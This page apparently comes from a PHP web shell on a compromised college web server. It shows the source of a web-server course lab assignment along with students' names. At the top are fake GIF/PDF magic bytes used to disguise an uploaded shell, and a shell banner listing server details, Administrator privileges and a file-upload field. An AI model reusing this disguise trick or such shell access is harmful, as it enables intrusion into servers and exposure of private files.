GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1611/Labs/Lab12/ |
Upload File : |
<? // JimMartinson/CST1611/Labs/Lab12/Lab12.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } $directoryFile = '!'.$evaluationName.'-'.$userFullName.'.txt'; $directoryFile2 = '!'.$evaluationName.'-8080-'.$userFullName.'.txt'; $directoryFile3 = '!'.$evaluationName.'-IP-'.$userFullName.'.txt'; require('common/Browser/Browser.phpinc'); ?> <style type="text/css"> tr.done td, tr.done th { color: darkgrey; } tr.done td a { color: darkgrey; } tr.scheduled td, tr.scheduled th { color:forestgreen;} tr.scheduled td a { color: darkolivegreen; } tr.scheduled, tr.unscheduled, tr.done { vertical-align: bottom; } </style> <a name="Lab"></a> <fieldset><legend>Select and get approval of a module or web server upgrade or install</legend> <?=$gradeNote?><br> Ask if you can demo a module or a web server upgrade or install: <ol class="count nocheck"> <li>Each student will need to select an Apache module, a web server install, or a web server upgrade. Student selections are approved on a first-email request basis. <note class="normal">Each module, install, or upgrade may only be selected by one student.</note> </li> <li>The Apache module cannot be one we have already covered unless you convince me that you have a new twist.</li> <li>Modules and web server installs or upgrades will be authorized on a first-come first-authorized basis.</li> <li>Select an Apache module to install and configure, or a web server to install or upgrade. <br>You can look for Apache modules at: <a class="" href="https://httpd.apache.org/docs/current/mod/">Apache Module Index.</a>, and Web servers at: <a class="" href="https://w3techs.com/technologies/overview/web_server">Web server information.</a> </li> <li> Send an email to jim.martinson@ridgewater.edu with a subject of <b class="copyText"><?=$courseNumber?> - <?=$evaluationName?> topic selection</b>.<br> In the body of the email have the following: <ol type="i"> <li>The name of the module or a web server install or upgrade you want to demonstrate.</li> <li>A URL or URLs where documentation for this module or a web server install or upgrade can be found.</li> <li>Your name if not using Ridgewater email.</li> </ol> </li> <li>I will then reply that it is OK to proceed, discuss demo changes with you, or inform you that you must select another module.</li> </ol> <div class="">Currently, demo dates are: Thursday 4/20, Thursday 4/27, and Thursday 5/04.</div> <div class="">As modules and a web server installs or upgrades are selected and OK'd by me they will be listed below:</div> <table class="centered p"> <tr class="scheduled"><th colspan="3" class="center">Scheduled demos</th></tr> <tr class="scheduled"><th>Topic</th><th>Student name</th><th>Demo date</th></tr> <!-- <tr class="scheduled"><td><a href="">Topic</a></td><td>Student_name</td><td>Demo_date<sup><sup></sup></td></tr> --> <tr><td colspan="3"> </td></tr> <tr class="unscheduled"><th colspan="3" class="center">Unscheduled demos</th></tr> <tr class="unscheduled"><th>Topic</th><th>Student name</th><th></th></tr> <!-- <tr class="unscheduled"><td><a href="">Topic</a></td><td>Student_name</td><td></td></tr> --> <tr><td colspan="3"> </td></tr> <tr class="done"><th colspan="3" class="center">Completed demos</th></tr> <tr class="done"><th>Topic</th><th>Student name</th><th>Demo date</th></tr> <tr class="done"><td><a href="https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-20-04">Apache Server install on Ubuntu Linux</a></td><td>John Dresler</td><td>April 27th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/2.4/mod/mod_expires.html">mod_expires</a></td><td>Jason Just</td><td>April 27th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/2.4/mod/mod_deflate.html">mod_deflate</a></td><td>Nicholas Collins</td><td>April 27th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/2.4/mod/mod_info.html">mod_info</a></td><td>Abdumalik Salah</td><td>April 27th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/2.4/mod/mod_authn_anon.html">mod_authn_anon</a></td><td>Anthony LaPlante</td><td>May 4th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/current/mod/mod_log_forensic.html">mod_log_forensic</a></td><td>Connor Bratsch</td><td>May 4th</td></tr> <tr class="done"><td><a href="https://httpd.apache.org/docs/2.4/mod/mod_status.html">mod_status</a></td><td>James Young</td><td>May 4th</td></tr> <tr class="done"><td><a href="https://www.nginx.com/l">nginx</a></td><td>Nicole Fillman</td><td>via recording</td></tr> <!-- <tr class="done"><td><a href="">Topic</a></td><td>Student_name</td><td>Demo_date</td></tr> --> </table> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> The purpose of this lab is to demonstrate the ability to expand web server wisdom. <ol class="count"> <? // 1. ?> <li>Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>. <br>Create a directory called <b><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. Keep any software, documentation, or notes in this folder. </li> <? // 2. ?> <li>Select an Apache module, a web server to install, or a web server to upgrade and demonstrate it to the class. <br><note>See above for how to get started. When approved, a 2 point grade placeholder will be entered.</note> </li> <? // 3. ?> <? // 4. ?> <li>Determine when you will demonstrate to the class. <br>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b class="copyText"><?=$courseNumber?> - <?=$evaluationName?> demo date</b>. <br>In the body of the email notify me when you wish to demo your module or web server demo. <br>Demo dates are: <ul type="i"> <!-- <li>Thursday, April 14<sup>th</sup>, 2021. --> <li>Thursday, April 20<sup>th</sup>, 2023.</li> <li>Thursday, April 27<sup>th</sup>, 2023.</li> <li>Thursday, May 4<sup>th</sup>, 2023.</li> </ul> <note>When scheduled, another 2 point grade placeholder will be entered.</note> </li> <? // 4. ?> <li>Give your demonstration. <note>The demonstration is everything!</note> <br><note>Grading is somewhat subjective, but the following are the guidelines:</note> <table class="note"> <tr><td class="right">Demonstrated to the class:</td><td class="right">5</td><td>points</td></tr> <tr><td class="right">Efficacy of demonstration:</td><td class="right">10</td><td>points</td></tr> <tr><td class="right">Difficulty of subject</td><td class="right">5</td><td>points</td></tr> </table> </li> <? // 5. ?> <li>Turn in your assignment: <ol type="a"> <li>Copy your demonstration files into the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> --> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; require('common/pageFooter.phpinc'); ?>